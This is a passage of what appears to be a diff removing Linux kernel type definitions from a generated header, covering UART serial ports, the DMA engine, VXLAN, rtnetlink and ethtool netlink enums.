platform_device *); - void (*shutdown)(struct platform_device *); - int (*suspend)(struct platform_device *, pm_message_t); - int (*resume)(struct platform_device *); - struct device_driver driver; - const struct platform_device_id *id_table; - bool prevent_deferred_probe; - bool driver_managed_dma; -}; - -struct uart_driver { - struct module *owner; - const char *driver_name; - const char *dev_name; - int major; - int minor; - int nr; - struct console *cons; - struct uart_state *state; - struct tty_driver *tty_driver; -}; - -struct plat_serial8250_port { - long unsigned int iobase; - void *membase; - resource_size_t mapbase; - unsigned int irq; - long unsigned int irqflags; - unsigned int uartclk; - void *private_data; - unsigned char regshift; - unsigned char iotype; - unsigned char hub6; - unsigned char has_sysrq; - upf_t flags; - unsigned int type; - unsigned int (*serial_in)(struct uart_port *, int); - void (*serial_out)(struct uart_port *, int, int); - void (*set_termios)(struct uart_port *, struct ktermios *, const struct ktermios *); - void (*set_ldisc)(struct uart_port *, struct ktermios *); - unsigned int (*get_mctrl)(struct uart_port *); - int (*handle_irq)(struct uart_port *); - void (*pm)(struct uart_port *, unsigned int, unsigned int); - void (*handle_break)(struct uart_port *); -}; - -enum { - PLAT8250_DEV_LEGACY = -1, - PLAT8250_DEV_PLATFORM = 0, - PLAT8250_DEV_PLATFORM1 = 1, - PLAT8250_DEV_PLATFORM2 = 2, - PLAT8250_DEV_FOURPORT = 3, - PLAT8250_DEV_ACCENT = 4, - PLAT8250_DEV_BOCA = 5, - PLAT8250_DEV_EXAR_ST16C554 = 6, - PLAT8250_DEV_HUB6 = 7, - PLAT8250_DEV_AU1X00 = 8, - PLAT8250_DEV_SM501 = 9, -}; - -struct uart_8250_port; - -struct uart_8250_ops { - int (*setup_irq)(struct uart_8250_port *); - void (*release_irq)(struct uart_8250_port *); - void (*setup_timer)(struct uart_8250_port *); -}; - -struct mctrl_gpios; - -struct uart_8250_dma; - -struct uart_8250_em485; - -struct uart_8250_port { - struct uart_port port; - struct timer_list timer; - struct list_head list; - u32 capabilities; - short unsigned int bugs; - bool fifo_bug; - unsigned int tx_loadsz; - unsigned char acr; - unsigned char fcr; - unsigned char ier; - unsigned char lcr; - unsigned char mcr; - unsigned char cur_iotype; - unsigned int rpm_tx_active; - unsigned char canary; - unsigned char probe; - struct mctrl_gpios *gpios; - u16 lsr_saved_flags; - u16 lsr_save_mask; - unsigned char msr_saved_flags; - struct uart_8250_dma *dma; - const struct uart_8250_ops *ops; - int (*dl_read)(struct uart_8250_port *); - void (*dl_write)(struct uart_8250_port *, int); - struct uart_8250_em485 *em485; - void (*rs485_start_tx)(struct uart_8250_port *); - void (*rs485_stop_tx)(struct uart_8250_port *); - struct delayed_work overrun_backoff; - u32 overrun_backoff_time_ms; -}; - -struct uart_8250_em485 { - struct hrtimer start_tx_timer; - struct hrtimer stop_tx_timer; - struct hrtimer *active_timer; - struct uart_8250_port *port; - unsigned int tx_stopped: 1; -}; - -struct dma_chan___2; - -typedef bool (*dma_filter_fn)(struct dma_chan___2 *, void *); - -enum dma_transfer_direction { - DMA_MEM_TO_MEM = 0, - DMA_MEM_TO_DEV = 1, - DMA_DEV_TO_MEM = 2, - DMA_DEV_TO_DEV = 3, - DMA_TRANS_NONE = 4, -}; - -enum dma_slave_buswidth { - DMA_SLAVE_BUSWIDTH_UNDEFINED = 0, - DMA_SLAVE_BUSWIDTH_1_BYTE = 1, - DMA_SLAVE_BUSWIDTH_2_BYTES = 2, - DMA_SLAVE_BUSWIDTH_3_BYTES = 3, - DMA_SLAVE_BUSWIDTH_4_BYTES = 4, - DMA_SLAVE_BUSWIDTH_8_BYTES = 8, - DMA_SLAVE_BUSWIDTH_16_BYTES = 16, - DMA_SLAVE_BUSWIDTH_32_BYTES = 32, - DMA_SLAVE_BUSWIDTH_64_BYTES = 64, - DMA_SLAVE_BUSWIDTH_128_BYTES = 128, -}; - -struct dma_slave_config { - enum dma_transfer_direction direction; - phys_addr_t src_addr; - phys_addr_t dst_addr; - enum dma_slave_buswidth src_addr_width; - enum dma_slave_buswidth dst_addr_width; - u32 src_maxburst; - u32 dst_maxburst; - u32 src_port_window_size; - u32 dst_port_window_size; - bool device_fc; - void *peripheral_config; - size_t peripheral_size; -}; - -typedef s32 dma_cookie_t; - -struct uart_8250_dma { - int (*tx_dma)(struct uart_8250_port *); - int (*rx_dma)(struct uart_8250_port *); - void (*prepare_tx_dma)(struct uart_8250_port *); - void (*prepare_rx_dma)(struct uart_8250_port *); - dma_filter_fn fn; - void *rx_param; - void *tx_param; - struct dma_slave_config rxconf; - struct dma_slave_config txconf; - struct dma_chan___2 *rxchan; - struct dma_chan___2 *txchan; - phys_addr_t rx_dma_addr; - phys_addr_t tx_dma_addr; - dma_addr_t rx_addr; - dma_addr_t tx_addr; - dma_cookie_t rx_cookie; - dma_cookie_t tx_cookie; - void *rx_buf; - size_t rx_size; - size_t tx_size; - unsigned char tx_running; - unsigned char tx_err; - unsigned char rx_running; -}; - -enum dma_status { - DMA_COMPLETE = 0, - DMA_IN_PROGRESS = 1, - DMA_PAUSED = 2, - DMA_ERROR = 3, - DMA_OUT_OF_ORDER = 4, -}; - -enum dma_transaction_type { - DMA_MEMCPY = 0, - DMA_XOR = 1, - DMA_PQ = 2, - DMA_XOR_VAL = 3, - DMA_PQ_VAL = 4, - DMA_MEMSET = 5, - DMA_MEMSET_SG = 6, - DMA_INTERRUPT = 7, - DMA_PRIVATE = 8, - DMA_ASYNC_TX = 9, - DMA_SLAVE = 10, - DMA_CYCLIC = 11, - DMA_INTERLEAVE = 12, - DMA_COMPLETION_NO_ORDER = 13, - DMA_REPEAT = 14, - DMA_LOAD_EOT = 15, - DMA_TX_TYPE_END = 16, -}; - -struct data_chunk { - size_t size; - size_t icg; - size_t dst_icg; - size_t src_icg; -}; - -struct dma_interleaved_template { - dma_addr_t src_start; - dma_addr_t dst_start; - enum dma_transfer_direction dir; - bool src_inc; - bool dst_inc; - bool src_sgl; - bool dst_sgl; - size_t numf; - size_t frame_size; - struct data_chunk sgl[0]; -}; - -enum dma_ctrl_flags { - DMA_PREP_INTERRUPT = 1, - DMA_CTRL_ACK = 2, - DMA_PREP_PQ_DISABLE_P = 4, - DMA_PREP_PQ_DISABLE_Q = 8, - DMA_PREP_CONTINUE = 16, - DMA_PREP_FENCE = 32, - DMA_CTRL_REUSE = 64, - DMA_PREP_CMD = 128, - DMA_PREP_REPEAT = 256, - DMA_PREP_LOAD_EOT = 512, -}; - -enum sum_check_bits { - SUM_CHECK_P = 0, - SUM_CHECK_Q = 1, -}; - -enum sum_check_flags { - SUM_CHECK_P_RESULT = 1, - SUM_CHECK_Q_RESULT = 2, -}; - -typedef struct { - long unsigned int bits[1]; -} dma_cap_mask_t; - -enum dma_desc_metadata_mode { - DESC_METADATA_NONE = 0, - DESC_METADATA_CLIENT = 1, - DESC_METADATA_ENGINE = 2, -}; - -struct dma_chan_percpu { - long unsigned int memcpy_count; - long unsigned int bytes_transferred; -}; - -struct dma_router { - struct device *dev; - void (*route_free)(struct device *, void *); -}; - -struct dma_device; - -struct dma_chan_dev; - -struct dma_chan___2 { - struct dma_device *device; - struct device *slave; - dma_cookie_t cookie; - dma_cookie_t completed_cookie; - int chan_id; - struct dma_chan_dev *dev; - const char *name; - char *dbg_client_name; - struct list_head device_node; - struct dma_chan_percpu *local; - int client_count; - int table_count; - struct dma_router *router; - void *route_data; - void *private; -}; - -struct dma_slave_map; - -struct dma_filter { - dma_filter_fn fn; - int mapcnt; - const struct dma_slave_map *map; -}; - -enum dmaengine_alignment { - DMAENGINE_ALIGN_1_BYTE = 0, - DMAENGINE_ALIGN_2_BYTES = 1, - DMAENGINE_ALIGN_4_BYTES = 2, - DMAENGINE_ALIGN_8_BYTES = 3, - DMAENGINE_ALIGN_16_BYTES = 4, - DMAENGINE_ALIGN_32_BYTES = 5, - DMAENGINE_ALIGN_64_BYTES = 6, - DMAENGINE_ALIGN_128_BYTES = 7, - DMAENGINE_ALIGN_256_BYTES = 8, -}; - -enum dma_residue_granularity { - DMA_RESIDUE_GRANULARITY_DESCRIPTOR = 0, - DMA_RESIDUE_GRANULARITY_SEGMENT = 1, - DMA_RESIDUE_GRANULARITY_BURST = 2, -}; - -struct dma_async_tx_descriptor; - -struct dma_slave_caps; - -struct dma_tx_state; - -struct dma_device { - struct kref ref; - unsigned int chancnt; - unsigned int privatecnt; - struct list_head channels; - struct list_head global_node; - struct dma_filter filter; - dma_cap_mask_t cap_mask; - enum dma_desc_metadata_mode desc_metadata_modes; - short unsigned int max_xor; - short unsigned int max_pq; - enum dmaengine_alignment copy_align; - enum dmaengine_alignment xor_align; - enum dmaengine_alignment pq_align; - enum dmaengine_alignment fill_align; - int dev_id; - struct device *dev; - struct module *owner; - struct ida chan_ida; - u32 src_addr_widths; - u32 dst_addr_widths; - u32 directions; - u32 min_burst; - u32 max_burst; - u32 max_sg_burst; - bool descriptor_reuse; - enum dma_residue_granularity residue_granularity; - int (*device_alloc_chan_resources)(struct dma_chan___2 *); - int (*device_router_config)(struct dma_chan___2 *); - void (*device_free_chan_resources)(struct dma_chan___2 *); - struct dma_async_tx_descriptor * (*device_prep_dma_memcpy)(struct dma_chan___2 *, dma_addr_t, dma_addr_t, size_t, long unsigned int); - struct dma_async_tx_descriptor * (*device_prep_dma_xor)(struct dma_chan___2 *, dma_addr_t, dma_addr_t *, unsigned int, size_t, long unsigned int); - struct dma_async_tx_descriptor * (*device_prep_dma_xor_val)(struct dma_chan___2 *, dma_addr_t *, unsigned int, size_t, enum sum_check_flags *, long unsigned int); - struct dma_async_tx_descriptor * (*device_prep_dma_pq)(struct dma_chan___2 *, dma_addr_t *, dma_addr_t *, unsigned int, const unsigned char *, size_t, long unsigned int); - struct dma_async_tx_descriptor * (*device_prep_dma_pq_val)(struct dma_chan___2 *, dma_addr_t *, dma_addr_t *, unsigned int, const unsigned char *, size_t, enum sum_check_flags *, long unsigned int); - struct dma_async_tx_descriptor * (*device_prep_dma_memset)(struct dma_chan___2 *, dma_addr_t, int, size_t, long unsigned int); - struct dma_async_tx_descriptor * (*device_prep_dma_memset_sg)(struct dma_chan___2 *, struct scatterlist *, unsigned int, int, long unsigned int); - struct dma_async_tx_descriptor * (*device_prep_dma_interrupt)(struct dma_chan___2 *, long unsigned int); - struct dma_async_tx_descriptor * (*device_prep_slave_sg)(struct dma_chan___2 *, struct scatterlist *, unsigned int, enum dma_transfer_direction, long unsigned int, void *); - struct dma_async_tx_descriptor * (*device_prep_dma_cyclic)(struct dma_chan___2 *, dma_addr_t, size_t, size_t, enum dma_transfer_direction, long unsigned int); - struct dma_async_tx_descriptor * (*device_prep_interleaved_dma)(struct dma_chan___2 *, struct dma_interleaved_template *, long unsigned int); - struct dma_async_tx_descriptor * (*device_prep_dma_imm_data)(struct dma_chan___2 *, dma_addr_t, u64, long unsigned int); - void (*device_caps)(struct dma_chan___2 *, struct dma_slave_caps *); - int (*device_config)(struct dma_chan___2 *, struct dma_slave_config *); - int (*device_pause)(struct dma_chan___2 *); - int (*device_resume)(struct dma_chan___2 *); - int (*device_terminate_all)(struct dma_chan___2 *); - void (*device_synchronize)(struct dma_chan___2 *); - enum dma_status (*device_tx_status)(struct dma_chan___2 *, dma_cookie_t, struct dma_tx_state *); - void (*device_issue_pending)(struct dma_chan___2 *); - void (*device_release)(struct dma_device *); - void (*dbg_summary_show)(struct seq_file *, struct dma_device *); - struct dentry *dbg_dev_root; -}; - -struct dma_chan_dev { - struct dma_chan___2 *chan; - struct device device; - int dev_id; - bool chan_dma_dev; -}; - -struct dma_slave_caps { - u32 src_addr_widths; - u32 dst_addr_widths; - u32 directions; - u32 min_burst; - u32 max_burst; - u32 max_sg_burst; - bool cmd_pause; - bool cmd_resume; - bool cmd_terminate; - enum dma_residue_granularity residue_granularity; - bool descriptor_reuse; -}; - -typedef void (*dma_async_tx_callback)(void *); - -enum dmaengine_tx_result { - DMA_TRANS_NOERROR = 0, - DMA_TRANS_READ_FAILED = 1, - DMA_TRANS_WRITE_FAILED = 2, - DMA_TRANS_ABORTED = 3, -}; - -struct dmaengine_result { - enum dmaengine_tx_result result; - u32 residue; -}; - -typedef void (*dma_async_tx_callback_result)(void *, const struct dmaengine_result *); - -struct dmaengine_unmap_data { - u8 map_cnt; - u8 to_cnt; - u8 from_cnt; - u8 bidi_cnt; - struct device *dev; - struct kref kref; - size_t len; - dma_addr_t addr[0]; -}; - -struct dma_descriptor_metadata_ops { - int (*attach)(struct dma_async_tx_descriptor *, void *, size_t); - void * (*get_ptr)(struct dma_async_tx_descriptor *, size_t *, size_t *); - int (*set_len)(struct dma_async_tx_descriptor *, size_t); -}; - -struct dma_async_tx_descriptor { - dma_cookie_t cookie; - enum dma_ctrl_flags flags; - dma_addr_t phys; - struct dma_chan___2 *chan; - dma_cookie_t (*tx_submit)(struct dma_async_tx_descriptor *); - int (*desc_free)(struct dma_async_tx_descriptor *); - dma_async_tx_callback callback; - dma_async_tx_callback_result callback_result; - void *callback_param; - struct dmaengine_unmap_data *unmap; - enum dma_desc_metadata_mode desc_metadata_mode; - struct dma_descriptor_metadata_ops *metadata_ops; -}; - -struct dma_tx_state { - dma_cookie_t last; - dma_cookie_t used; - u32 residue; - u32 in_flight_bytes; -}; - -struct dma_slave_map { - const char *devname; - const char *slave; - void *param; -}; - -struct old_serial_port { - unsigned int uart; - unsigned int baud_base; - unsigned int port; - unsigned int irq; - upf_t flags; - unsigned char io_type; - unsigned char *iomem_base; - short unsigned int iomem_reg_shift; -}; - -struct irq_info { - struct hlist_node node; - int irq; - spinlock_t lock; - struct list_head *head; -}; - -struct tunnel_msg { - __u8 family; - __u8 flags; - __u16 reserved2; - __u32 ifindex; -}; - -enum { - VNIFILTER_ENTRY_STATS_UNSPEC = 0, - VNIFILTER_ENTRY_STATS_RX_BYTES = 1, - VNIFILTER_ENTRY_STATS_RX_PKTS = 2, - VNIFILTER_ENTRY_STATS_RX_DROPS = 3, - VNIFILTER_ENTRY_STATS_RX_ERRORS = 4, - VNIFILTER_ENTRY_STATS_TX_BYTES = 5, - VNIFILTER_ENTRY_STATS_TX_PKTS = 6, - VNIFILTER_ENTRY_STATS_TX_DROPS = 7, - VNIFILTER_ENTRY_STATS_TX_ERRORS = 8, - VNIFILTER_ENTRY_STATS_PAD = 9, - __VNIFILTER_ENTRY_STATS_MAX = 10, -}; - -enum { - VXLAN_VNIFILTER_ENTRY_UNSPEC = 0, - VXLAN_VNIFILTER_ENTRY_START = 1, - VXLAN_VNIFILTER_ENTRY_END = 2, - VXLAN_VNIFILTER_ENTRY_GROUP = 3, - VXLAN_VNIFILTER_ENTRY_GROUP6 = 4, - VXLAN_VNIFILTER_ENTRY_STATS = 5, - __VXLAN_VNIFILTER_ENTRY_MAX = 6, -}; - -enum { - VXLAN_VNIFILTER_UNSPEC = 0, - VXLAN_VNIFILTER_ENTRY = 1, - __VXLAN_VNIFILTER_MAX = 2, -}; - -enum ifla_vxlan_df { - VXLAN_DF_UNSET = 0, - VXLAN_DF_SET = 1, - VXLAN_DF_INHERIT = 2, - __VXLAN_DF_END = 3, - VXLAN_DF_MAX = 2, -}; - -enum { - RTM_BASE = 16, - RTM_NEWLINK = 16, - RTM_DELLINK = 17, - RTM_GETLINK = 18, - RTM_SETLINK = 19, - RTM_NEWADDR = 20, - RTM_DELADDR = 21, - RTM_GETADDR = 22, - RTM_NEWROUTE = 24, - RTM_DELROUTE = 25, - RTM_GETROUTE = 26, - RTM_NEWNEIGH = 28, - RTM_DELNEIGH = 29, - RTM_GETNEIGH = 30, - RTM_NEWRULE = 32, - RTM_DELRULE = 33, - RTM_GETRULE = 34, - RTM_NEWQDISC = 36, - RTM_DELQDISC = 37, - RTM_GETQDISC = 38, - RTM_NEWTCLASS = 40, - RTM_DELTCLASS = 41, - RTM_GETTCLASS = 42, - RTM_NEWTFILTER = 44, - RTM_DELTFILTER = 45, - RTM_GETTFILTER = 46, - RTM_NEWACTION = 48, - RTM_DELACTION = 49, - RTM_GETACTION = 50, - RTM_NEWPREFIX = 52, - RTM_GETMULTICAST = 58, - RTM_GETANYCAST = 62, - RTM_NEWNEIGHTBL = 64, - RTM_GETNEIGHTBL = 66, - RTM_SETNEIGHTBL = 67, - RTM_NEWNDUSEROPT = 68, - RTM_NEWADDRLABEL = 72, - RTM_DELADDRLABEL = 73, - RTM_GETADDRLABEL = 74, - RTM_GETDCB = 78, - RTM_SETDCB = 79, - RTM_NEWNETCONF = 80, - RTM_DELNETCONF = 81, - RTM_GETNETCONF = 82, - RTM_NEWMDB = 84, - RTM_DELMDB = 85, - RTM_GETMDB = 86, - RTM_NEWNSID = 88, - RTM_DELNSID = 89, - RTM_GETNSID = 90, - RTM_NEWSTATS = 92, - RTM_GETSTATS = 94, - RTM_SETSTATS = 95, - RTM_NEWCACHEREPORT = 96, - RTM_NEWCHAIN = 100, - RTM_DELCHAIN = 101, - RTM_GETCHAIN = 102, - RTM_NEWNEXTHOP = 104, - RTM_DELNEXTHOP = 105, - RTM_GETNEXTHOP = 106, - RTM_NEWLINKPROP = 108, - RTM_DELLINKPROP = 109, - RTM_GETLINKPROP = 110, - RTM_NEWVLAN = 112, - RTM_DELVLAN = 113, - RTM_GETVLAN = 114, - RTM_NEWNEXTHOPBUCKET = 116, - RTM_DELNEXTHOPBUCKET = 117, - RTM_GETNEXTHOPBUCKET = 118, - RTM_NEWTUNNEL = 120, - RTM_DELTUNNEL = 121, - RTM_GETTUNNEL = 122, - __RTM_MAX = 123, -}; - -enum rtnetlink_groups { - RTNLGRP_NONE = 0, - RTNLGRP_LINK = 1, - RTNLGRP_NOTIFY = 2, - RTNLGRP_NEIGH = 3, - RTNLGRP_TC = 4, - RTNLGRP_IPV4_IFADDR = 5, - RTNLGRP_IPV4_MROUTE = 6, - RTNLGRP_IPV4_ROUTE = 7, - RTNLGRP_IPV4_RULE = 8, - RTNLGRP_IPV6_IFADDR = 9, - RTNLGRP_IPV6_MROUTE = 10, - RTNLGRP_IPV6_ROUTE = 11, - RTNLGRP_IPV6_IFINFO = 12, - RTNLGRP_DECnet_IFADDR = 13, - RTNLGRP_NOP2 = 14, - RTNLGRP_DECnet_ROUTE = 15, - RTNLGRP_DECnet_RULE = 16, - RTNLGRP_NOP4 = 17, - RTNLGRP_IPV6_PREFIX = 18, - RTNLGRP_IPV6_RULE = 19, - RTNLGRP_ND_USEROPT = 20, - RTNLGRP_PHONET_IFADDR = 21, - RTNLGRP_PHONET_ROUTE = 22, - RTNLGRP_DCB = 23, - RTNLGRP_IPV4_NETCONF = 24, - RTNLGRP_IPV6_NETCONF = 25, - RTNLGRP_MDB = 26, - RTNLGRP_MPLS_ROUTE = 27, - RTNLGRP_NSID = 28, - RTNLGRP_MPLS_NETCONF = 29, - RTNLGRP_IPV4_MROUTE_R = 30, - RTNLGRP_IPV6_MROUTE_R = 31, - RTNLGRP_NEXTHOP = 32, - RTNLGRP_BRVLAN = 33, - RTNLGRP_MCTP_IFADDR = 34, - RTNLGRP_TUNNEL = 35, - RTNLGRP_STATS = 36, - __RTNLGRP_MAX = 37, -}; - -typedef int (*rtnl_doit_func)(struct sk_buff *, struct nlmsghdr *, struct netlink_ext_ack *); - -typedef int (*rtnl_dumpit_func)(struct sk_buff *, struct netlink_callback *); - -struct gro_cell; - -struct gro_cells { - struct gro_cell *cells; -}; - -struct dst_cache_pcpu; - -struct dst_cache { - struct dst_cache_pcpu *cache; - long unsigned int reset_ts; -}; - -struct vxlan_sock { - struct hlist_node hlist; - struct socket *sock; - struct hlist_head vni_list[1024]; - refcount_t refcnt; - u32 flags; -}; - -union vxlan_addr { - struct sockaddr_in sin; - struct sockaddr_in6 sin6; - struct sockaddr sa; -}; - -struct vxlan_rdst { - union vxlan_addr remote_ip; - __be16 remote_port; - u8 offloaded: 1; - __be32 remote_vni; - u32 remote_ifindex; - struct net_device *remote_dev; - struct list_head list; - struct callback_head rcu; - struct dst_cache dst_cache; -}; - -struct vxlan_config { - union vxlan_addr remote_ip; - union vxlan_addr saddr; - __be32 vni; - int remote_ifindex; - int mtu; - __be16 dst_port; - u16 port_min; - u16 port_max; - u8 tos; - u8 ttl; - __be32 label; - u32 flags; - long unsigned int age_interval; - unsigned int addrmax; - bool no_share; - enum ifla_vxlan_df df; -}; - -enum { - VXLAN_VNI_STATS_RX = 0, - VXLAN_VNI_STATS_RX_DROPS = 1, - VXLAN_VNI_STATS_RX_ERRORS = 2, - VXLAN_VNI_STATS_TX = 3, - VXLAN_VNI_STATS_TX_DROPS = 4, - VXLAN_VNI_STATS_TX_ERRORS = 5, -}; - -struct vxlan_vni_stats { - u64 rx_packets; - u64 rx_bytes; - u64 rx_drops; - u64 rx_errors; - u64 tx_packets; - u64 tx_bytes; - u64 tx_drops; - u64 tx_errors; -}; - -struct vxlan_vni_stats_pcpu { - struct vxlan_vni_stats stats; - struct u64_stats_sync syncp; -}; - -struct vxlan_dev; - -struct vxlan_dev_node { - struct hlist_node hlist; - struct vxlan_dev *vxlan; -}; - -struct vxlan_vni_group; - -struct vxlan_dev { - struct vxlan_dev_node hlist4; - struct vxlan_dev_node hlist6; - struct list_head next; - struct vxlan_sock *vn4_sock; - struct vxlan_sock *vn6_sock; - struct net_device *dev; - struct net *net; - struct vxlan_rdst default_dst; - struct timer_list age_timer; - spinlock_t hash_lock[256]; - unsigned int addrcnt; - struct gro_cells gro_cells; - struct vxlan_config cfg; - struct vxlan_vni_group *vnigrp; - struct hlist_head fdb_head[256]; -}; - -struct vxlan_vni_node { - struct rhash_head vnode; - struct vxlan_dev_node hlist4; - struct vxlan_dev_node hlist6; - struct list_head vlist; - __be32 vni; - union vxlan_addr remote_ip; - struct vxlan_vni_stats_pcpu *stats; - struct callback_head rcu; -}; - -struct vxlan_vni_group { - struct rhashtable vni_hash; - struct list_head vni_list; - u32 num_vnis; -}; - -struct vxlan_net { - struct list_head vxlan_list; - struct hlist_head sock_list[256]; - spinlock_t sock_lock; - struct notifier_block nexthop_notifier_block; -}; - -struct vlan_hdr { - __be16 h_vlan_TCI; - __be16 h_vlan_encapsulated_proto; -}; - -struct tc_skb_cb { - struct qdisc_skb_cb qdisc_cb; - u16 mru; - u8 post_ct: 1; - u8 post_ct_snat: 1; - u8 post_ct_dnat: 1; - u16 zone; -}; - -struct sch_frag_data { - long unsigned int dst; - struct qdisc_skb_cb cb; - __be16 inner_protocol; - u16 vlan_tci; - __be16 vlan_proto; - unsigned int l2_len; - u8 l2_data[18]; - int (*xmit)(struct sk_buff *); -}; - -enum tunable_id { - ETHTOOL_ID_UNSPEC = 0, - ETHTOOL_RX_COPYBREAK = 1, - ETHTOOL_TX_COPYBREAK = 2, - ETHTOOL_PFC_PREVENTION_TOUT = 3, - ETHTOOL_TX_COPYBREAK_BUF_SIZE = 4, - __ETHTOOL_TUNABLE_COUNT = 5, -}; - -enum phy_tunable_id { - ETHTOOL_PHY_ID_UNSPEC = 0, - ETHTOOL_PHY_DOWNSHIFT = 1, - ETHTOOL_PHY_FAST_LINK_DOWN = 2, - ETHTOOL_PHY_EDPD = 3, - __ETHTOOL_PHY_TUNABLE_COUNT = 4, -}; - -enum { - ETH_RSS_HASH_TOP_BIT = 0, - ETH_RSS_HASH_XOR_BIT = 1, - ETH_RSS_HASH_CRC32_BIT = 2, - ETH_RSS_HASH_FUNCS_COUNT = 3, -}; - -enum { - ETHTOOL_MSG_USER_NONE = 0, - ETHTOOL_MSG_STRSET_GET = 1, - ETHTOOL_MSG_LINKINFO_GET = 2, - ETHTOOL_MSG_LINKINFO_SET = 3, - ETHTOOL_MSG_LINKMODES_GET = 4, - ETHTOOL_MSG_LINKMODES_SET = 5, - ETHTOOL_MSG_LINKSTATE_GET = 6, - ETHTOOL_MSG_DEBUG_GET = 7, - ETHTOOL_MSG_DEBUG_SET = 8, - ETHTOOL_MSG_WOL_GET = 9, - ETHTOOL_MSG_WOL_SET = 10, - ETHTOOL_MSG_FEATURES_GET = 11, - ETHTOOL_MSG_FEATURES_SET = 12, - ETHTOOL_MSG_PRIVFLAGS_GET = 13, - ETHTOOL_MSG_PRIVFLAGS_SET = 14, - ETHTOOL_MSG_RINGS_GET = 15, - ETHTOOL_MSG_RINGS_SET = 16, - ETHTOOL_MSG_CHANNELS_GET = 17, - ETHTOOL_MSG_CHANNELS_SET = 18, - ETHTOOL_MSG_COALESCE_GET = 19, - ETHTOOL_MSG_COALESCE_SET = 20, - ETHTOOL_MSG_PAUSE_GET = 21, - ETHTOOL_MSG_PAUSE_SET = 22, - ETHTOOL_MSG_EEE_GET = 23, - ETHTOOL_MSG_EEE_SET = 24, - ETHTOOL_MSG_TSINFO_GET = 25, - ETHTOOL_MSG_CABLE_TEST_ACT = 26, - ETHTOOL_MSG_CABLE_TEST_TDR_ACT = 27, - ETHTOOL_MSG_TUNNEL_INFO_GET = 28, - ETHTOOL_MSG_FEC_GET = 29, - ETHTOOL_MSG_FEC_SET = 30, - ETHTOOL_MSG_MODULE_EEPROM_GET = 31, - ETHTOOL_MSG_STATS_GET = 32, - ETHTOOL_MSG_PHC_VCLOCKS_GET = 33, - ETHTOOL_MSG_MODULE_GET = 34, - ETHTOOL_MSG_MODULE_SET = 35, - ETHTOOL_MSG_PSE_GET = 36, - ETHTOOL_MSG_PSE_SET = 37, - ETHTOOL_MSG_RSS_GET = 38, - __ETHTOOL_MSG_USER_CNT = 39, - ETHTOOL_MSG_USER_MAX = 38, -}; - -enum { - ETHTOOL_MSG_KERNEL_NONE = 0, - ETHTOOL_MSG_STRSET_GET_REPLY = 1, - ETHTOOL_MSG_LINKINFO_GET_REPLY = 2, - ETHTOOL_MSG_LINKINFO_NTF = 3, - ETHTOOL_MSG_LINKMODES_GET_REPLY = 4, - ETHTOOL_MSG_LINKMODES_NTF = 5, - ETHTOOL_MSG_LINKSTATE_GET_REPLY = 6, - ETHTOOL_MSG_DEBUG_GET_REPLY = 7, - ETHTOOL_MSG_DEBUG_NTF = 8, - ETHTOOL_MSG_WOL_GET_REPLY = 9, - ETHTOOL_MSG_WOL_NTF = 10, - ETHTOOL_MSG_FEATURES_GET_REPLY = 11, - ETHTOOL_MSG_FEATURES_SET_REPLY = 12, - ETHTOOL_MSG_FEATURES_NTF = 13, - ETHTOOL_MSG_PRIVFLAGS_GET_REPLY = 14, - ETHTOOL_MSG_PRIVFLAGS_NTF = 15, - ETHTOOL_MSG_RINGS_GET_REPLY = 16, - ETHTOOL_MSG_RINGS_NTF = 17, - ETHTOOL_MSG_CHANNELS_GET_REPLY = 18, - ETHTOOL_MSG_CHANNELS_NTF = 19, - ETHTOOL_MSG_COALESCE_GET_REPLY = 20, - ETHTOOL_MSG_COALESCE_NTF = 21, - ETHTOOL_MSG_PAUSE_GET_REPLY = 22, - ETHTOOL_MSG_PAUSE_NTF = 23, - ETHTOOL_MSG_EEE_GET_REPLY = 24, - ETHTOOL_MSG_EEE_NTF = 25, - ETHTOOL_MSG_TSINFO_GET_REPLY = 26, - ETHTOOL_MSG_CABLE_TEST_NTF = 27, - ETHTOOL_MSG_CABLE_TEST_TDR_NTF = 28, - ETHTOOL_MSG_TUNNEL_INFO_GET_REPLY = 29, - ETHTOOL_MSG_FEC_GET_REPLY = 30, - ETHTOOL_MSG_FEC_NTF = 31, - ETHTOOL_MSG_MODULE_EEPROM_GET_REPLY = 32, - ETHTOOL_MSG_STATS_GET_REPLY = 33, - ETHTOOL_MSG_PHC_VCLOCKS_GET_REPLY = 34, - ETHTOOL_MSG_MODULE_GET_REPLY = 35, - ETHTOOL_MSG_MODULE_NTF = 36, - ETHTOOL_MSG_PSE_GET_REPLY = 37, - ETHTOOL_MSG_RSS_GET_REPLY = 38, - __ETHTOOL_MSG_KERNEL_CNT = 39, - ETHTOOL_MSG_KERNEL_MAX = 38, -}; - -enum { - ETHTOOL_A_HEADER_UNSPEC = 0, - ETHTOOL_A_HEADER_DEV_INDEX = 1, - ETHTOOL_A_HEADER_DEV_NAME = 2, - ETHTOOL_A_HEADER_FLAGS = 3, - __ETHTOOL_A_HEADER_CNT = 4, - ETHTOOL_A_HEADER_MAX = 3, -}; - -enum { - ETHTOOL_A_STRSET_UNSPEC = 0, - ETHTOOL_A_STRSET_HEADER = 1, - ETHTOOL_A_STRSET_STRINGSETS = 2, - ETHTOOL_A_STRSET_COUNTS_ONLY = 3, - __ETHTOOL_A_STRSET_CNT = 4, - ETHTOOL_A_STRSET_MAX = 3, -}; - -enum { - ETHTOOL_A_LINKINFO_UNSPEC = 0, - ETHTOOL_A_LINKINFO_HEADER = 1, - ETHTOOL_A_LINKINFO_PORT = 2, - ETHTOOL_A_LINKINFO_PHYADDR = 3, - ETHTOOL_A_LINKINFO_TP_MDIX = 4, - ETHTOOL_A_LINKINFO_TP_MDIX_CTRL = 5, - ETHTOOL_A_LINKINFO_TRANSCEIVER = 6, - __ETHTOOL_A_LINKINFO_CNT = 7, - ETHTOOL_A_LINKINFO_MAX = 6, -}; - -enum { - ETHTOOL_A_LINKMODES_UNSPEC = 0, - ETHTOOL_A_LINKMODES_HEADER = 1, - ETHTOOL_A_LINKMODES_AUTONEG = 2, - ETHTOOL_A_LINKMODES_OURS = 3, - ETHTOOL_A_LINKMODES_PEER = 4, - ETHTOOL_A_LINKMODES_SPEED = 5, - ETHTOOL_A_LINKMODES_DUPLEX = 6, - ETHTOOL_A_LINKMODES_MASTER_SLAVE_CFG = 7, - ETHTOOL_A_LINKMODES_MASTER_SLAVE_STATE = 8, - ETHTOOL_A_LINKMODES_LANES = 9, - ETHTOOL_A_LINKMODES_RATE_MATCHING = 10, - __ETHTOOL_A_LINKMODES_CNT = 11, - ETHTOOL_A_LINKMODES_MAX = 10, -}; - -enum { - ETHTOOL_A_LINKSTATE_UNSPEC = 0, - ETHTOOL_A_LINKSTATE_HEADER = 1, - 